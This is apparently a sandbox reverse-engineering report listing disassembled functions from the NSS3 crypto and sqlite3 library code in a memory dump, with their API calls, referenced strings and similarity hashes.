Part of subcall function 6CC54470: TlsGetValue.KERNEL32(00000000,?,6CC17296,00000000), ref: 6CC54487
Part of subcall function 6CC54470: EnterCriticalSection.KERNEL32(?,?,?,6CC17296,00000000), ref: 6CC544A0
Part of subcall function 6CC54470: PR_Unlock.NSS3(?,?,?,?,6CC17296,00000000), ref: 6CC544BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54F8F
PK11_UpdateSlotAttribute.NSS3(?,6CD2DCB0,00000000), ref: 6CC54FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CC5501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC5506B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: be8ba221365e3a3250a462514daeec8d4efc454326a79423ad7f490a7d28d9ec
Instruction ID: 8e7d1c92bbdc7f13045cb6f2c7a183e9e023cc9ab2d8f4cc2b7fe08c7df43b5c
Opcode Fuzzy Hash: be8ba221365e3a3250a462514daeec8d4efc454326a79423ad7f490a7d28d9ec
Instruction Fuzzy Hash: 575124B1D002029BEB019F25EC05AAA76B8FF5531CF544635EC0A86B11FB31E536CBA6

Function 6CBFACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBFACE2
malloc.MOZGLUE(00000001), ref: 6CBFACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBFAD02
TlsGetValue.KERNEL32 ref: 6CBFAD3C
calloc.MOZGLUE(00000001,?), ref: 6CBFAD8C
PR_Unlock.NSS3 ref: 6CBFADC0
free.MOZGLUE(00000000), ref: 6CBFAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBFAE58
free.MOZGLUE(00000000), ref: 6CBFAE69
free.MOZGLUE(?), ref: 6CBFAE78
PR_Unlock.NSS3 ref: 6CBFAE8C
free.MOZGLUE(?), ref: 6CBFAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBFAEC7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 58e376894a0fbae94daf3db198984fbd1db5d2413d2a2ed7b69cc822b1ca4823
Instruction ID: 13ec6a43577274b5170822821261efb8b4ca12f0b7bba052820bb83c6656fb5e
Opcode Fuzzy Hash: 58e376894a0fbae94daf3db198984fbd1db5d2413d2a2ed7b69cc822b1ca4823
Instruction Fuzzy Hash: EF51B278E012668BEF04DF99DC456AE7778FB0A348F140125D925A3B10D331A95ACFF2

Function 6CCD5F80 Relevance: 19.6, APIs: 13, Instructions: 145stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD5F8F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD5F9C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD5FA9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD5FDF
sqlite3_initialize.NSS3 ref: 6CCD5FFE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD602E
memcpy.VCRUNTIME140(00000004,?,00000001), ref: 6CCD6041
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CCD6074
memcpy.VCRUNTIME140(?,00000000,00000001), ref: 6CCD6085
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD60AB
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CCD60BB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCD60D6
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CCD60E4

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strlen$memcpy$sqlite3_initialize
String ID:
API String ID: 698980436-0
Opcode ID: 394d344a3163e5c3649edb6ef82469cbac9b8e824ce98202fd37ae3ca9ecb00e
Instruction ID: cb36403b88efaaf6f224853a3041fab2b7753feaa87ffc86c2eadf6f32e10347
Opcode Fuzzy Hash: 394d344a3163e5c3649edb6ef82469cbac9b8e824ce98202fd37ae3ca9ecb00e
Instruction Fuzzy Hash: 6C41A3B2D002159BDB10DFA4EC85AAF77A8EF44258F150439ED06D7B10E735E91AC7E2

Function 6CC3ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CC3ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC3AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AE29

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC3AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC3AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC3AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC3AEA0

Strings

hKey = 0x%x, xrefs: 6CC3AE62, 6CC3AE72
hSession = 0x%x, xrefs: 6CC3AE01, 6CC3AE11
(CK_INVALID_HANDLE), xrefs: 6CC3AE1F, 6CC3AE80
C_MessageSignInit, xrefs: 6CC3ADE1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 06a843fa54b427f5f9982f940609cecf7ae7090c239af687d4015009e6e45315
Instruction ID: 2cdb4ad7627d0443a628000ac2cf01d8d0dae0832382b54218005c8f1f919806
Opcode Fuzzy Hash: 06a843fa54b427f5f9982f940609cecf7ae7090c239af687d4015009e6e45315
Instruction Fuzzy Hash: C331D731605124AFEF01DB55EC88FBA3779AB8634DF444425E60D5BBA1E7389828CBA1

Function 6CC39EE0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageEncryptInit), ref: 6CC39F06
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC39F37
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39F49

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC39F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC39F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC39FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CC39FC0

Strings

hKey = 0x%x, xrefs: 6CC39F82, 6CC39F92
hSession = 0x%x, xrefs: 6CC39F21, 6CC39F31
(CK_INVALID_HANDLE), xrefs: 6CC39F3F, 6CC39FA0
C_MessageEncryptInit, xrefs: 6CC39F01

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 139d467704a726e809bc2b9c9b49535d4095ff167657825da710a8ab65654c26
Instruction ID: a92f15c7c96964a8900127e785b800bba2c4117bbd0f5795f8a113cffd6e9ede
Opcode Fuzzy Hash: 139d467704a726e809bc2b9c9b49535d4095ff167657825da710a8ab65654c26
Instruction Fuzzy Hash: AF31F531605224AFEB01DF15EC88FBE3779AB4634DF044025F60D5BB61EB389808CBA2

Function 6CCD4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CCD4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCD4CFD
sqlite3_value_text16.NSS3(?), ref: 6CCD4D44

Strings

invalid, xrefs: 6CCD4CF1
no more rows available, xrefs: 6CCD4D2E
out of memory, xrefs: 6CCD4C78, 6CCD4C9E
abort due to ROLLBACK, xrefs: 6CCD4D27, 6CCD4D33
unknown error, xrefs: 6CCD4D56
another row available, xrefs: 6CCD4D20
bad parameter or other API misuse, xrefs: 6CCD4D05
API call with %s database connection pointer, xrefs: 6CCD4CF6

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 1a41203b7c753db3cafd25ab004fe731e84b9078cc20134ee0522064137b942a
Instruction ID: bbc19a12c9c30963f236898628787451c1a8504320193d2cb89dd1f230f8ebb0
Opcode Fuzzy Hash: 1a41203b7c753db3cafd25ab004fe731e84b9078cc20134ee0522064137b942a
Instruction Fuzzy Hash: 80310472E088616BEB04CB29F8017A9B36677C3318F170565DB284BF64EB25B815C7E2

Function 6CC32DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CC32DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC32E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC32E33

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC32E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC32E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC32E81

Strings

pPin = 0x%p, xrefs: 6CC32E63
ulPinLen = %d, xrefs: 6CC32E7C
hSession = 0x%x, xrefs: 6CC32E0E, 6CC32E1E
(CK_INVALID_HANDLE), xrefs: 6CC32E2C
C_InitPIN, xrefs: 6CC32DF1

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: af149ccbf8030b717c2a790633620178d2181563d88a00e7f221634d33158f60
Instruction ID: c44dd66285386280c14bc95c8c87d7651e7058058585dcfca60465dd78a2a381
Opcode Fuzzy Hash: af149ccbf8030b717c2a790633620178d2181563d88a00e7f221634d33158f60
Instruction Fuzzy Hash: 0031C675605164ABEB00DB15EC5DB6A3779EB4235DF084025EA0D97BA2EB389808CBF1

Function 6CC36EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CC36F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC36F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC36F53

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC36F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC36F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CC36FA1

Strings

hSession = 0x%x, xrefs: 6CC36F2E, 6CC36F3E
ulPartLen = %d, xrefs: 6CC36F9C
(CK_INVALID_HANDLE), xrefs: 6CC36F4C
C_DigestUpdate, xrefs: 6CC36F11
pPart = 0x%p, xrefs: 6CC36F83

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 62f189b389908124dd7d2e57a1036c19bef878fc37562be7bce0207f8a35bb6f
Instruction ID: fa526dee3ac251a15f008591055b07684c294d87b119a65f486a7dec0ffa4f10
Opcode Fuzzy Hash: 62f189b389908124dd7d2e57a1036c19bef878fc37562be7bce0207f8a35bb6f
Instruction Fuzzy Hash: B531C434605160AFFB00DB25EC48F6A77B9AB4635DF084025E60D97B21EB38A84CCBF1

Function 6CC37E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CC37E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC37E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC37E63

Part of subcall function 6CD1D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD1D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC37E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC37E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CC37EB1

Strings

hSession = 0x%x, xrefs: 6CC37E3E, 6CC37E4E
ulPartLen = %d, xrefs: 6CC37EAC
(CK_INVALID_HANDLE), xrefs: 6CC37E5C
pPart = 0x%p, xrefs: 6CC37E93
C_VerifyUpdate, xrefs: 6CC37E21

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: df105b0e38c78884d5f9772ac2125ad705875cb5034c66a28243e4f2b198b11b
Instruction ID: d88c7058d4c54c7e178330266c381f5975e1815f0f5f3e7c5e93e48103d6d4cd
Opcode Fuzzy Hash: df105b0e38c78884d5f9772ac2125ad705875cb5034c66a28243e4f2b198b11b
Instruction Fuzzy Hash: B731D734A05164EFEB00DB15ED48F6A37B9AB4235DF084025EA0D57B61EB389C08CBF1

Function 6CCD2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CCD2D9F

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

sqlite3_exec.NSS3(?,?,6CCD2F70,?,?), ref: 6CCD2DF9
sqlite3_free.NSS3(00000000), ref: 6CCD2E2C
sqlite3_free.NSS3(?), ref: 6CCD2E3A
sqlite3_free.NSS3(?), ref: 6CCD2E52
sqlite3_mprintf.NSS3(6CD3AAF9,?), ref: 6CCD2E62
sqlite3_free.NSS3(?), ref: 6CCD2E70
sqlite3_free.NSS3(?), ref: 6CCD2E89
sqlite3_free.NSS3(?), ref: 6CCD2EBB
sqlite3_free.NSS3(?), ref: 6CCD2ECB
sqlite3_free.NSS3(00000000), ref: 6CCD2F3E
sqlite3_free.NSS3(?), ref: 6CCD2F4C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 306732d38526249c5ca36d9829cb6bc0941a1d0905200c8d75cb911e8908123d
Instruction ID: 15904045fc701eae45c3f446f778127d664d8f00fd114884890d33dbde3b6d89
Opcode Fuzzy Hash: 306732d38526249c5ca36d9829cb6bc0941a1d0905200c8d75cb911e8908123d
Instruction Fuzzy Hash: A9618FB5E012058BEB00CFA8D894B9EB7B1EF48349F164024DE55A7B01E735FC45CBA1

Function 6CC22C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC23F23,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22C93

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23,?), ref: 6CC22CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?,?,6CC23F23), ref: 6CC22CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?), ref: 6CC22CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC1E477,?,?,?,00000001,00000000,?), ref: 6CC22D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC22D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC22D71
PR_Unlock.NSS3(?), ref: 6CC22D7E

Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07AD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07CD
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB8204A), ref: 6CBF07D6
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB8204A), ref: 6CBF07E4
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,6CB8204A), ref: 6CBF0864
Part of subcall function 6CBF07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBF0880
Part of subcall function 6CBF07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB8204A), ref: 6CBF08CB
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08D7
Part of subcall function 6CBF07A0: TlsGetValue.KERNEL32(?,?,6CB8204A), ref: 6CBF08FB

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 3aa22c18a1d23361bf3c70f80a65608610060a97b7042486e5db13a5c6792a94
Instruction ID: 125cae31490f779391bbcf8e7dba5ac9150ff80c1fea57117d84fbf374998cf5
Opcode Fuzzy Hash: 3aa22c18a1d23361bf3c70f80a65608610060a97b7042486e5db13a5c6792a94
Instruction Fuzzy Hash: B45106B6D00205ABEB009F25DC459AAB778FF19368F048560ED1897B12F731ED69CBE1

Function 6CC17C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD62120,Function_00097E60,00000000,?,?,?,?,6CC9067D,6CC91C60,00000000), ref: 6CC17C81

Part of subcall function 6CB84C70: TlsGetValue.KERNEL32(?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84C97
Part of subcall function 6CB84C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CB0
Part of subcall function 6CB84C70: PR_Unlock.NSS3(?,?,?,?,?,6CB83921,6CD614E4,6CCCCC70), ref: 6CB84CC9

TlsGetValue.KERNEL32 ref: 6CC17CA0
EnterCriticalSection.KERNEL32(?), ref: 6CC17CB4
PR_Unlock.NSS3 ref: 6CC17CCF

Part of subcall function 6CCADD70: TlsGetValue.KERNEL32 ref: 6CCADD8C
Part of subcall function 6CCADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCADDB4

TlsGetValue.KERNEL32 ref: 6CC17D04
